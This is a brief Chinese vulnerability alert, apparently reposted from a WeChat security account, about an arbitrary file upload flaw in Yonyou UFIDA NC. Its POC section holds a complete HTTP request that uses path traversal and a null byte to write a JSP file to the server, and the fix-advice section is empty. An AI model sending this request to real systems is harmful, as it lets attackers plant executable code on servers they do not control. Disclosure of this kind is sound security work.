-
暂无
-
高危
用友NC以“全球化集团管控、行业化解决方案、全程化电子商务、平台化应用集成”的管理业务理念而设计，采用J2EE架构和先进开放的集团级开发平台UAP，形成了集团管控8大领域15大行业68个细分行业的解决方案。
-
用友ufida-NC
0x05 POC
POST /uapws/saveDoc.ajax?ws=/../../test1.jspx%00 HTTP/1.1Host: {host}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Content-Type: application/x-www-form-urlencodedcontent=<hi xmlns:hi="http://java.sun.com/JSP/Page"><hi:directive.page import="java.util.*,java.io.*,java.net.*"/><hi:scriptlet>out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete();</hi:scriptlet></hi>
0x06 修复建议
原文始发于微信公众号（浅安安全）：漏洞预警 | 用友ufida-NC任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论